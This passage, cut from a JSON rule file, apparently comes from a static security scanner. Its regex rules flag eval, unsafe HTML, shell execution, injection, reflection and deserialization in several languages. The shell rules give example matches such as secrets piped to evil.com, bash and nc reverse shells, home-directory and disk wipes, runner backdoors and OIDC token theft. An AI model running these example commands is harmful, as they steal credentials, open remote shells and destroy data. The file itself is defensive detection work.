      "title": "Unsafe HTML",
      "severity": "high",
      "confidence": 0.65,
      "category": "xss",
      "explanation": "Unsafe HTML (xss) detected in a .tsx file.",
      "examples": {
        "match": [
          "dangerouslySetInnerHTML={{__html:x}}",
          "el.dangerouslySetInnerHTML",
          "<div dangerouslySetInnerHTML/>"
        ],
        "no_match": [
          "setInnerHtml(x)",
          "innerHTML note"
        ]
      }
    },
    {
      "id": "SA-JSX-001",
      "type": "regex",
      "pattern": "\\beval\\s*\\(",
      "extensions": [
        ".jsx"
      ],
      "title": "Dangerous Eval",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Dangerous Eval (code-execution) detected in a .jsx file.",
      "examples": {
        "match": [
          "eval(x)",
          "eval('1+1')",
          "eval ( y )"
        ],
        "no_match": [
          "evaluate(x)",
          "// eval"
        ]
      }
    },
    {
      "id": "SA-JSX-002",
      "type": "regex",
      "pattern": "dangerouslySetInnerHTML",
      "extensions": [
        ".jsx"
      ],
      "title": "Unsafe HTML",
      "severity": "high",
      "confidence": 0.65,
      "category": "xss",
      "explanation": "Unsafe HTML (xss) detected in a .jsx file.",
      "examples": {
        "match": [
          "dangerouslySetInnerHTML={{__html:x}}",
          "el.dangerouslySetInnerHTML",
          "<div dangerouslySetInnerHTML/>"
        ],
        "no_match": [
          "setInnerHtml(x)",
          "innerHTML note"
        ]
      }
    },
    {
      "id": "SA-PHP-001",
      "type": "regex",
      "pattern": "\\b(shell_exec|exec|passthru|system|popen)\\s*\\(",
      "extensions": [
        ".php"
      ],
      "title": "Shell Execution",
      "severity": "critical",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "Shell Execution (shell-injection) detected in a .php file.",
      "examples": {
        "match": [
          "shell_exec($cmd)",
          "system('ls')",
          "passthru($x)"
        ],
        "no_match": [
          "echo $x",
          "shell helper note"
        ]
      }
    },
    {
      "id": "SA-PHP-002",
      "type": "regex",
      "pattern": "\\beval\\s*\\(",
      "extensions": [
        ".php"
      ],
      "title": "Eval",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Eval (code-execution) detected in a .php file.",
      "examples": {
        "match": [
          "eval($code)",
          "eval('1')",
          "eval ( $x )"
        ],
        "no_match": [
          "evaluate($x)",
          "// eval"
        ]
      }
    },
    {
      "id": "SA-PHP-003",
      "type": "regex",
      "pattern": "(?i)mysql_query\\s*\\(\\s*[\"\\'].*\\$",
      "extensions": [
        ".php"
      ],
      "title": "SQL Injection",
      "severity": "high",
      "confidence": 0.7,
      "category": "injection",
      "explanation": "SQL Injection (injection) detected in a .php file.",
      "examples": {
        "match": [
          "mysql_query('SELECT * FROM t WHERE id='.$id)",
          "mysql_query(\"select $x\")",
          "mysql_query('insert '.$v)"
        ],
        "no_match": [
          "mysql_query('SELECT 1')",
          "pdo->prepare($q)"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-PHP-004",
      "type": "regex",
      "pattern": "\\b(include|require)(_once)?\\s*\\(\\s*\\$",
      "extensions": [
        ".php"
      ],
      "title": "File Inclusion",
      "severity": "critical",
      "confidence": 0.7,
      "category": "injection",
      "explanation": "File Inclusion (injection) detected in a .php file.",
      "examples": {
        "match": [
          "include($page)",
          "require_once($f)",
          "require ( $x )"
        ],
        "no_match": [
          "include('header.php')",
          "require_once 'config.php'"
        ]
      }
    },
    {
      "id": "SA-JAVA-001",
      "type": "regex",
      "pattern": "Runtime\\.getRuntime\\(\\)\\.exec",
      "extensions": [
        ".java"
      ],
      "title": "Command Execution",
      "severity": "critical",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "Command Execution (shell-injection) detected in a .java file.",
      "examples": {
        "match": [
          "Runtime.getRuntime().exec(cmd)",
          "Runtime.getRuntime().exec(\"ls\")",
          "Runtime.getRuntime().exec(c)"
        ],
        "no_match": [
          "runtime.gc()",
          "new Runtime()"
        ]
      }
    },
    {
      "id": "SA-JAVA-002",
      "type": "regex",
      "pattern": "new\\s+ProcessBuilder\\s*\\(",
      "extensions": [
        ".java"
      ],
      "title": "ProcessBuilder",
      "severity": "high",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "ProcessBuilder (shell-injection) detected in a .java file.",
      "examples": {
        "match": [
          "new ProcessBuilder(cmd)",
          "new  ProcessBuilder('ls')",
          "new ProcessBuilder ( x )"
        ],
        "no_match": [
          "ProcessBuilder.class",
          "processBuilderFactory()"
        ]
      }
    },
    {
      "id": "SA-JAVA-003",
      "type": "regex",
      "pattern": "ObjectInputStream.*readObject",
      "extensions": [
        ".java"
      ],
      "title": "Unsafe Deserialization",
      "severity": "critical",
      "confidence": 0.85,
      "category": "deserialization",
      "explanation": "Unsafe Deserialization (deserialization) detected in a .java file.",
      "examples": {
        "match": [
          "ObjectInputStream in; in.readObject()",
          "new ObjectInputStream(s).readObject()",
          "ObjectInputStream ois = x; ois.readObject()"
        ],
        "no_match": [
          "InputStream in",
          "readObjectSafe()"
        ]
      }
    },
    {
      "id": "SA-JAVA-004",
      "type": "regex",
      "pattern": "\\.invoke\\s*\\(\\s*[a-zA-Z_]\\w*",
      "extensions": [
        ".java"
      ],
      "title": "Reflection RCE: Method.invoke",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: Method.invoke (reflection-rce) detected in a .java file.",
      "examples": {
        "match": [
          "m.invoke(target)",
          ".invoke(obj)",
          "method.invoke(instance)"
        ],
        "no_match": [
          ".invoke('literal')",
          "invokeLater()"
        ]
      }
    },
    {
      "id": "SA-JAVA-005",
      "type": "regex",
      "pattern": "Class\\.forName\\s*\\(\\s*[a-zA-Z_]\\w*",
      "extensions": [
        ".java"
      ],
      "title": "Reflection RCE: Class.forName",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: Class.forName (reflection-rce) detected in a .java file.",
      "examples": {
        "match": [
          "Class.forName(name)",
          "Class.forName(clsVar)",
          "Class.forName( x )"
        ],
        "no_match": [
          "Class.forName('java.lang.String')",
          "forName helper"
        ]
      }
    },
    {
      "id": "SA-JAVA-006",
      "type": "regex",
      "pattern": "getMethod\\s*\\(\\s*[a-zA-Z_]\\w*",
      "extensions": [
        ".java"
      ],
      "title": "Reflection RCE: getMethod",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: getMethod (reflection-rce) detected in a .java file.",
      "examples": {
        "match": [
          "getMethod(name)",
          "getMethod(mVar)",
          "getMethod( x )"
        ],
        "no_match": [
          "getMethod('toString')",
          "getMethodName()"
        ]
      }
    },
    {
      "id": "SA-JAVA-007",
      "type": "regex",
      "pattern": "getDeclaredMethod\\s*\\(\\s*[a-zA-Z_]\\w*",
      "extensions": [
        ".java"
      ],
      "title": "Reflection RCE: getDeclaredMethod",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: getDeclaredMethod (reflection-rce) detected in a .java file.",
      "examples": {
        "match": [
          "getDeclaredMethod(name)",
          "getDeclaredMethod(mVar)",
          "getDeclaredMethod( x )"
        ],
        "no_match": [
          "getDeclaredMethod('run')",
          "getDeclaredField(f)"
        ]
      }
    },
    {
      "id": "SA-GO-001",
      "type": "regex",
      "pattern": "exec\\.Command\\s*\\(",
      "extensions": [
        ".go"
      ],
      "title": "Command Execution",
      "severity": "high",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "Command Execution (shell-injection) detected in a .go file.",
      "examples": {
        "match": [
          "exec.Command('ls')",
          "exec.Command(cmd)",
          "exec.Command ( x )"
        ],
        "no_match": [
          "exec.LookPath('ls')",
          "execHelper()"
        ]
      }
    },
    {
      "id": "SA-GO-002",
      "type": "regex",
      "pattern": "unsafe\\.Pointer",
      "extensions": [
        ".go"
      ],
      "title": "Unsafe Pointer",
      "severity": "medium",
      "confidence": 0.5,
      "category": "memory-safety",
      "explanation": "Unsafe Pointer (memory-safety) detected in a .go file.",
      "examples": {
        "match": [
          "unsafe.Pointer(&x)",
          "p := unsafe.Pointer(y)",
          "unsafe.Pointer (z)"
        ],
        "no_match": [
          "safe.Pointer",
          "unsafePointerNote"
        ]
      }
    },
    {
      "id": "SA-GO-003",
      "type": "regex",
      "pattern": "reflect\\.ValueOf\\s*\\(\\s*[a-zA-Z_]\\w*",
      "extensions": [
        ".go"
      ],
      "title": "Reflection RCE: reflect.ValueOf",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: reflect.ValueOf (reflection-rce) detected in a .go file.",
      "examples": {
        "match": [
          "reflect.ValueOf(x)",
          "reflect.ValueOf(input)",
          "reflect.ValueOf( v )"
        ],
        "no_match": [
          "reflect.TypeOf(x)",
          "valueOfHelper()"
        ]
      }
    },
    {
      "id": "SA-GO-004",
      "type": "regex",
      "pattern": "\\.Call\\s*\\(\\s*\\[\\s*\\]reflect\\.Value",
      "extensions": [
        ".go"
      ],
      "title": "Reflection RCE: reflect.Call",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: reflect.Call (reflection-rce) detected in a .go file.",
      "examples": {
        "match": [
          "m.Call([]reflect.Value{})",
          ".Call([]reflect.Value{a})",
          ".Call( []reflect.Value )"
        ],
        "no_match": [
          ".Call(args)",
          "callHelper()"
        ]
      }
    },
    {
      "id": "SA-GO-005",
      "type": "regex",
      "pattern": "/proc/\\d+/mem|/proc/self/mem",
      "extensions": [
        ".go"
      ],
      "title": "Process Memory Read (/proc)",
      "severity": "critical",
      "confidence": 0.9,
      "category": "memory-forensics",
      "explanation": "Process Memory Read (/proc) (memory-forensics) detected in a .go file.",
      "examples": {
        "match": [
          "open('/proc/1234/mem')",
          "/proc/self/mem",
          "'/proc/999/mem'"
        ],
        "no_match": [
          "/proc/cpuinfo",
          "/process/mem"
        ]
      }
    },
    {
      "id": "SA-GO-006",
      "type": "regex",
      "pattern": "ioutil\\.ReadDir\\s*\\(\\s*[\"\\']/?proc[\"\\']|filepath\\.Glob\\s*\\(\\s*[\"\\']/?proc/",
      "extensions": [
        ".go"
      ],
      "title": "Process Enumeration (/proc)",
      "severity": "high",
      "confidence": 0.7,
      "category": "process-enumeration",
      "explanation": "Process Enumeration (/proc) (process-enumeration) detected in a .go file.",
      "examples": {
        "match": [
          "ioutil.ReadDir('/proc')",
          "filepath.Glob('/proc/x')",
          "ioutil.ReadDir(\"/proc\")"
        ],
        "no_match": [
          "ioutil.ReadDir('/tmp')",
          "filepath.Glob('*.go')"
        ]
      }
    },
    {
      "id": "SA-GO-007",
      "type": "regex",
      "pattern": "\\bRunner\\.Worker\\b|\\bRunner\\.Listener\\b",
      "extensions": [
        ".go"
      ],
      "title": "Runner.Worker Process Hunt",
      "severity": "critical",
      "confidence": 0.7,
      "category": "process-enumeration",
      "explanation": "Runner.Worker Process Hunt (process-enumeration) detected in a .go file.",
      "examples": {
        "match": [
          "kill Runner.Worker",
          "Runner.Listener",
          "runner.worker"
        ],
        "no_match": [
          "RunnerWorker",
          "worker run"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-GO-008",
      "type": "regex",
      "pattern": "ACTIONS_ID_TOKEN_REQUEST_TOKEN|ACTIONS_ID_TOKEN_REQUEST_URL|oidc/token/exchange",
      "extensions": [
        ".go"
      ],
      "title": "OIDC Token Exchange",
      "severity": "critical",
      "confidence": 0.85,
      "category": "ci-token-abuse",
      "explanation": "OIDC Token Exchange (ci-token-abuse) detected in a .go file.",
      "examples": {
        "match": [
          "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
          "ACTIONS_ID_TOKEN_REQUEST_URL",
          "oidc/token/exchange"
        ],
        "no_match": [
          "ID_TOKEN_REQUEST",
          "token docs"
        ]
      }
    },
    {
      "id": "SA-RB-001",
      "type": "regex",
      "pattern": "\\beval\\s*\\(",
      "extensions": [
        ".rb"
      ],
      "title": "Eval",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Eval (code-execution) detected in a .rb file.",
      "examples": {
        "match": [
          "eval(code)",
          "eval('1')",
          "eval ( x )"
        ],
        "no_match": [
          "evaluate(x)",
          "# eval"
        ]
      }
    },
    {
      "id": "SA-RB-002",
      "type": "regex",
      "pattern": "\\b(system|exec|`|%x)\\s*[\\(\\[]",
      "extensions": [
        ".rb"
      ],
      "title": "System Call",
      "severity": "critical",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "System Call (shell-injection) detected in a .rb file.",
      "examples": {
        "match": [
          "system('ls')",
          "exec('rm')",
          "exec ['whoami']"
        ],
        "no_match": [
          "systematic()",
          "execute_query"
        ]
      }
    },
    {
      "id": "SA-RB-003",
      "type": "regex",
      "pattern": "\\bsend\\s*\\(\\s*params",
      "extensions": [
        ".rb"
      ],
      "title": "Send Method",
      "severity": "medium",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Send Method (code-execution) detected in a .rb file.",
      "examples": {
        "match": [
          "obj.send(params)",
          "x.send( params )",
          "send(params[:m])"
        ],
        "no_match": [
          "obj.send(:name)",
          "sender helper"
        ]
      }
    },
    {
      "id": "SA-RB-004",
      "type": "regex",
      "pattern": "\\b(?:public_)?send\\s*\\(\\s*[a-zA-Z_]\\w*(?!\\s*[\"\\'])",
      "extensions": [
        ".rb"
      ],
      "title": "Reflection RCE: send with variable",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: send with variable (reflection-rce) detected in a .rb file.",
      "examples": {
        "match": [
          "obj.send(method_var)",
          "x.public_send(m)",
          "send(action)"
        ],
        "no_match": [
          "obj.send('name')",
          "send(\"literal\")"
        ]
      }
    },
    {
      "id": "SA-RB-005",
      "type": "regex",
      "pattern": "\\.method\\s*\\(\\s*[a-zA-Z_]\\w*",
      "extensions": [
        ".rb"
      ],
      "title": "Reflection RCE: method() with variable",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: method() with variable (reflection-rce) detected in a .rb file.",
      "examples": {
        "match": [
          ".method(name)",
          "obj.method(mVar)",
          ".method( x )"
        ],
        "no_match": [
          ".method('to_s')",
          "methodName()"
        ]
      }
    },
    {
      "id": "SA-CS-001",
      "type": "regex",
      "pattern": "\\.Invoke\\s*\\(\\s*[a-zA-Z_]\\w*",
      "extensions": [
        ".cs"
      ],
      "title": "Reflection RCE: MethodInfo.Invoke",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: MethodInfo.Invoke (reflection-rce) detected in a .cs file.",
      "examples": {
        "match": [
          ".Invoke(target)",
          "mi.Invoke(obj)",
          ".Invoke( instance )"
        ],
        "no_match": [
          ".Invoke('literal')",
          "InvokeAsync()"
        ]
      }
    },
    {
      "id": "SA-CS-002",
      "type": "regex",
      "pattern": "Assembly\\.Load\\w*\\s*\\(\\s*[a-zA-Z_]\\w*",
      "extensions": [
        ".cs"
      ],
      "title": "Reflection RCE: Assembly.Load",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: Assembly.Load (reflection-rce) detected in a .cs file.",
      "examples": {
        "match": [
          "Assembly.Load(bytes)",
          "Assembly.LoadFrom(path)",
          "Assembly.Load( name )"
        ],
        "no_match": [
          "Assembly.Load('System')",
          "assemblyLoader()"
        ]
      }
    },
    {
      "id": "SA-CS-003",
      "type": "regex",
      "pattern": "Activator\\.CreateInstance\\s*\\(\\s*[a-zA-Z_]\\w*",
      "extensions": [
        ".cs"
      ],
      "title": "Reflection RCE: Activator.CreateInstance",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: Activator.CreateInstance (reflection-rce) detected in a .cs file.",
      "examples": {
        "match": [
          "Activator.CreateInstance(type)",
          "Activator.CreateInstance(t)",
          "Activator.CreateInstance( x )"
        ],
        "no_match": [
          "Activator.CreateInstance('System.String')",
          "createInstanceHelper()"
        ]
      }
    },
    {
      "id": "SA-SH-001",
      "type": "regex",
      "pattern": "\\beval\\s+",
      "extensions": [
        ".sh"
      ],
      "title": "Eval in Shell",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Eval in Shell (code-execution) detected in a .sh file.",
      "examples": {
        "match": [
          "eval $cmd",
          "eval \"$x\"",
          "eval rm -rf"
        ],
        "no_match": [
          "evaluate $x",
          "# evaluation step"
        ]
      }
    },
    {
      "id": "SA-SH-002",
      "type": "regex",
      "pattern": "curl\\s+.*\\|\\s*(ba)?sh",
      "extensions": [
        ".sh"
      ],
      "title": "Curl Pipe Bash",
      "severity": "critical",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "Curl Pipe Bash (shell-injection) detected in a .sh file.",
      "examples": {
        "match": [
          "curl http://x | bash",
          "curl -s http://y | sh",
          "curl evil | bash"
        ],
        "no_match": [
          "curl -O http://x",
          "bash script.sh"
        ]
      }
    },
    {
      "id": "SA-SH-003",
      "type": "regex",
      "pattern": "\\|[\\s\\\\]*\\b(bash|sh|zsh|ksh|dash)\\b",
      "extensions": [
        ".sh"
      ],
      "title": "Pipe to Shell Interpreter",
      "severity": "critical",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "Pipe to Shell Interpreter (shell-injection) detected in a .sh file.",
      "examples": {
        "match": [
          "wget -O- url | bash",
          "echo x | sh",
          "cat f | zsh"
        ],
        "no_match": [
          "echo x | grep y",
          "pipe | cat"
        ]
      }
    },
    {
      "id": "SA-SH-004",
      "type": "regex",
      "pattern": "\\$\\([^)]*\\$\\(",
      "extensions": [
        ".sh"
      ],
      "title": "Nested Command Substitution",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Nested Command Substitution (code-execution) detected in a .sh file.",
      "examples": {
        "match": [
          "$(echo $(whoami))",
          "x=$(ls $(cat dirs.txt))",
          "$( cat $(find) )"
        ],
        "no_match": [
          "$(whoami)",
          "x=$(pwd)"
        ]
      }
    },
    {
      "id": "SA-SH-005",
      "type": "regex",
      "pattern": "(env|printenv|cat\\s+\\.env|cat\\s+~/\\.ssh|cat\\s+~/\\.aws)\\s*\\|.*\\b(curl|wget|nc|ncat|socat)\\b",
      "extensions": [
        ".sh"
      ],
      "title": "Pipe Exfiltration: env to network",
      "severity": "critical",
      "confidence": 0.9,
      "category": "exfiltration",
      "explanation": "Pipe Exfiltration: env to network (exfiltration) detected in a .sh file.",
      "examples": {
        "match": [
          "env | curl -d @- http://evil.com",
          "printenv | wget --post-data=- http://x",
          "cat .env | nc evil.com 4444"
        ],
        "no_match": [
          "env | grep PATH",
          "printenv > out.txt"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-SH-006",
      "type": "regex",
      "pattern": "cat\\s+[^\\|]*(?:\\.env|credential|password|secret|\\.ssh|\\.aws|\\.gnupg|id_rsa|shadow)[^\\|]*\\|.*\\b(curl|wget|nc|ncat)\\b",
      "extensions": [
        ".sh"
      ],
      "title": "Pipe Exfiltration: sensitive file to network",
      "severity": "critical",
      "confidence": 0.9,
      "category": "exfiltration",
      "explanation": "Pipe Exfiltration: sensitive file to network (exfiltration) detected in a .sh file.",
      "examples": {
        "match": [
          "cat ~/.ssh/id_rsa | wget --post-data=- http://x",
          "cat /etc/shadow | nc evil.com 5555",
          "cat credentials.json | curl -d @- http://x"
        ],
        "no_match": [
          "cat README.md | less",
          "cat file.txt | grep x"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-SH-007",
      "type": "regex",
      "pattern": ">\\s*/dev/tcp/",
      "extensions": [
        ".sh"
      ],
      "title": "Redirect to /dev/tcp",
      "severity": "critical",
      "confidence": 0.9,
      "category": "exfiltration",
      "explanation": "Redirect to /dev/tcp (exfiltration) detected in a .sh file.",
      "examples": {
        "match": [
          "bash -c 'cat f > /dev/tcp/1.2.3.4/80'",
          "echo x > /dev/tcp/host/443",
          "> /dev/tcp/evil/9999"
        ],
        "no_match": [
          "echo x > /dev/null",
          "> output.log"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-SH-008",
      "type": "regex",
      "pattern": "bash\\s+-i\\s+>&\\s*/dev/tcp/|nc\\s+(-e|--exec)\\s+/bin/(ba)?sh",
      "extensions": [
        ".sh"
      ],
      "title": "Reverse shell pattern",
      "severity": "critical",
      "confidence": 0.9,
      "category": "exfiltration",
      "explanation": "Reverse shell pattern (exfiltration) detected in a .sh file.",
      "examples": {
        "match": [
          "bash -i >& /dev/tcp/1.2.3.4/4444",
          "nc -e /bin/sh evil.com 4444",
          "nc --exec /bin/bash host 1337"
        ],
        "no_match": [
          "bash -i",
          "nc -l 8080"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-SH-009",
      "type": "regex",
      "pattern": "\\bshred\\s+(-[uvzn\\s]+)*.*(\\$HOME|~/|/home/)",
      "extensions": [
        ".sh"
      ],
      "title": "Destructive: File Shredding",
      "severity": "critical",
      "confidence": 0.9,
      "category": "destructive-command",
      "explanation": "Destructive: File Shredding (destructive-command) detected in a .sh file.",
      "examples": {
        "match": [
          "shred -u $HOME/file",
          "shred -vzn 3 ~/secret",
          "shred /home/user/x"
        ],
        "no_match": [
          "shred --help",
          "shredder app"
        ]
      }
    },
    {
      "id": "SA-SH-010",
      "type": "regex",
      "pattern": "\\brm\\s+(-[rf]+\\s+)+(\\$HOME|~/|~\\b|/home/)",
      "extensions": [
        ".sh"
      ],
      "title": "Destructive: Home Directory Wipe",
      "severity": "critical",
      "confidence": 0.9,
      "category": "destructive-command",
      "explanation": "Destructive: Home Directory Wipe (destructive-command) detected in a .sh file.",
      "examples": {
        "match": [
          "rm -rf $HOME",
          "rm -rf ~/",
          "rm -rf /home/user"
        ],
        "no_match": [
          "rm -rf /tmp/build",
          "rm file.txt"
        ]
      }
    },
    {
      "id": "SA-SH-011",
      "type": "regex",
      "pattern": "\\bdd\\s+if=/dev/(zero|random|urandom)\\s+of=/dev/(sd|nvme|vd)",
      "extensions": [
        ".sh"
      ],
      "title": "Destructive: Disk Overwrite",
      "severity": "critical",
      "confidence": 0.9,
      "category": "destructive-command",
      "explanation": "Destructive: Disk Overwrite (destructive-command) detected in a .sh file.",
      "examples": {
        "match": [
          "dd if=/dev/zero of=/dev/sda",
          "dd if=/dev/random of=/dev/nvme0",
          "dd if=/dev/urandom of=/dev/vda"
        ],
        "no_match": [
          "dd if=in of=out",
          "dd if=/dev/zero of=file"
        ]
      }
    },
    {
      "id": "SA-SH-012",
      "type": "regex",
      "pattern": "\\bcipher\\s+/[wW]:",
      "extensions": [
        ".sh"
      ],
      "title": "Destructive: Windows Cipher Wipe",
      "severity": "critical",
      "confidence": 0.9,
      "category": "destructive-command",
      "explanation": "Destructive: Windows Cipher Wipe (destructive-command) detected in a .sh file.",
      "examples": {
        "match": [
          "cipher /w:C",
          "cipher /W:D",
          "cipher /w:c:\\"
        ],
        "no_match": [
          "cipher text",
          "encipher /x"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-SH-013",
      "type": "regex",
      "pattern": "config\\.sh\\s+--url\\s+https://github\\.com/.*--token",
      "extensions": [
        ".sh"
      ],
      "title": "GHA Runner Backdoor: Config Script",
      "severity": "critical",
      "confidence": 0.85,
      "category": "runner-backdoor",
      "explanation": "GHA Runner Backdoor: Config Script (runner-backdoor) detected in a .sh file.",
      "examples": {
        "match": [
          "config.sh --url https://github.com/o/r --token X",
          "config.sh --url https://github.com/x --token abc",
          "./config.sh --url https://github.com/a/b --token t"
        ],
        "no_match": [
          "config.sh --help",
          "config script"
        ]
      }
    },
    {
      "id": "SA-SH-014",
      "type": "regex",
      "pattern": "svc\\.sh\\s+(install|start)",
      "extensions": [
        ".sh"
      ],
      "title": "GHA Runner Backdoor: Service Install",
      "severity": "high",
      "confidence": 0.85,
      "category": "runner-backdoor",
      "explanation": "GHA Runner Backdoor: Service Install (runner-backdoor) detected in a .sh file.",
      "examples": {
        "match": [
          "svc.sh install",
          "svc.sh start",
          "./svc.sh install"
        ],
        "no_match": [
          "svc.sh status",
          "service.sh restart"
        ]
      }
    },
    {
      "id": "SA-SH-015",
      "type": "regex",
      "pattern": "\\b(?:modprobe|insmod)\\s+(?:\\S*/)?algif_aead\\b",
      "extensions": [
        ".sh"
      ],
      "title": "Kernel Exploit: algif_aead Module Load",
      "severity": "high",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: algif_aead Module Load (kernel-exploit) detected in a .sh file.",
      "examples": {
        "match": [
          "modprobe algif_aead",
          "insmod algif_aead",
          "modprobe /lib/algif_aead"
        ],
        "no_match": [
          "modprobe nvidia",
          "insmod other.ko"
        ]
      }
    },
    {
      "id": "SA-SH-016",
      "type": "regex",
      "pattern": "dd\\s+if=/proc/\\d+/mem|cat\\s+/proc/\\d+/mem|/proc/self/mem",
      "extensions": [
        ".sh"
      ],
      "title": "Process Memory Read (/proc)",
      "severity": "critical",
      "confidence": 0.9,
      "category": "memory-forensics",
      "explanation": "Process Memory Read (/proc) (memory-forensics) detected in a .sh file.",
      "examples": {
        "match": [
          "dd if=/proc/1234/mem",
          "cat /proc/999/mem",
          "/proc/self/mem"
        ],
        "no_match": [
          "cat /proc/cpuinfo",
          "dd if=file"
        ]
      }
    },
    {
      "id": "SA-SH-017",
      "type": "regex",
      "pattern": "ls\\s+/proc/|for\\s+.*\\s+in\\s+/proc/\\*/|/proc/\\*/cmdline",
      "extensions": [
        ".sh"
      ],
      "title": "Process Enumeration (/proc)",
      "severity": "high",
      "confidence": 0.7,
      "category": "process-enumeration",
      "explanation": "Process Enumeration (/proc) (process-enumeration) detected in a .sh file.",
      "examples": {
        "match": [
          "ls /proc/",
          "for p in /proc/*/; do",
          "/proc/*/cmdline"
        ],
        "no_match": [
          "ls /tmp/",
          "for f in *.sh; do"
        ]
      }
    },
    {
      "id": "SA-SH-018",
      "type": "regex",
      "pattern": "\\bRunner\\.Worker\\b|\\bRunner\\.Listener\\b",
      "extensions": [
        ".sh"
      ],
      "title": "Runner.Worker Process Hunt",
      "severity": "critical",
      "confidence": 0.7,
      "category": "process-enumeration",
      "explanation": "Runner.Worker Process Hunt (process-enumeration) detected in a .sh file.",
      "examples": {
        "match": [
          "kill Runner.Worker",
          "Runner.Listener",
          "runner.worker"
        ],
        "no_match": [
          "RunnerWorker",
          "worker run"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-SH-019",
      "type": "regex",
      "pattern": "ACTIONS_ID_TOKEN_REQUEST_TOKEN|ACTIONS_ID_TOKEN_REQUEST_URL|oidc/token/exchange",
      "extensions": [
        ".sh"
      ],
      "title": "OIDC Token Exchange",
      "severity": "critical",
      "confidence": 0.85,
      "category": "ci-token-abuse",
      "explanation": "OIDC Token Exchange (ci-token-abuse) detected in a .sh file.",
      "examples": {
        "match": [
          "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
          "ACTIONS_ID_TOKEN_REQUEST_URL",
          "oidc/token/exchange"
        ],
        "no_match": [
          "ID_TOKEN_REQUEST",
          "token docs"
        ]
      }
    },
    {
      "id": "SA-SH-025",
      "type": "regex",
      "pattern": "\\bcurl\\b[^\\n|;]*\\s(?:(?:-(?!-)[A-Za-z]*k[A-Za-z]*(?![A-Za-z]))|(?:--insecure(?![\\w-])))|\\bwget\\b[^\\n|;]*\\s--no-check-certificate(?![\\w-])",
      "extensions": [
        ".sh"
      ],
      "title": "Curl/Wget TLS Verification Disabled",
      "severity": "high",
      "confidence": 0.85,
      "category": "insecure-transport",
      "attacker": "malicious download source",
      "boundary": "TLS trust boundary",
      "asset": "downloaded payload integrity",
      "explanation": "Disables TLS certificate verification for curl or wget, allowing a network attacker to substitute the downloaded payload.",
      "examples": {
        "match": [
          "curl -sk https://example.com/x",
          "curl -ks https://example.com/x",
          "curl -kLs https://example.com/x",
          "curl --insecure https://example.com/x",
          "wget --no-check-certificate https://example.com/x"
        ],
        "no_match": [
          "curl -s https://example.com/x",
          "curl --key client.pem https://example.com/x",
          "wget -k https://example.com/page",
          "wget https://example.com/x"
        ]
      }
    },
    {
      "id": "SA-SH-022",
      "type": "regex",
      "pattern": "(?:^|[;&|`]|&&|\\|\\||\\$\\(|<\\(|>\\(|\\bthen\\b|\\bdo\\b)[ \\t]*(?:sudo[ \\t]+)*(?:modprobe|insmod)[ \\t]+(?!-(?:n|l|L|S)\\b|--(?:show|list|dry-run|showconfig|version|help)\\b)(?!\\$)(?!\\([ \\t]*\\)[ \\t]*\\{)\\S|\\bmod(?:\\\"{2}|'{2})probe[ \\t]+\\S|\\bin(?:\\\"{2}|'{2})smod[ \\t]+\\S",
      "extensions": [
        ".sh"
      ],
      "title": "Kernel Module Load (modprobe/insmod)",
      "severity": "high",
      "confidence": 0.65,
      "category": "kernel-exploit",
      "explanation": "Kernel Module Load (modprobe/insmod) (kernel-exploit) detected in a .sh file. Dual-use primitive: common in legitimate system tooling; review in context.",
      "examples": {
        "match": [
          "modprobe act_pedit",
          "insmod /root/evil.ko",
          "sudo modprobe br_netfilter",
          "mod\"\"probe act_pedit"
        ],
        "no_match": [
          "rmmod act_pedit",
          "# modprobe act_pedit",
          "modprobe",
          "modprobe -n dummy",
          "modprobe $iptables_module",
          "function modprobe {",
          "echo \"modprobe act_pedit\""
        ]
      }
    },
    {
      "id": "SA-SH-023",
      "type": "regex",
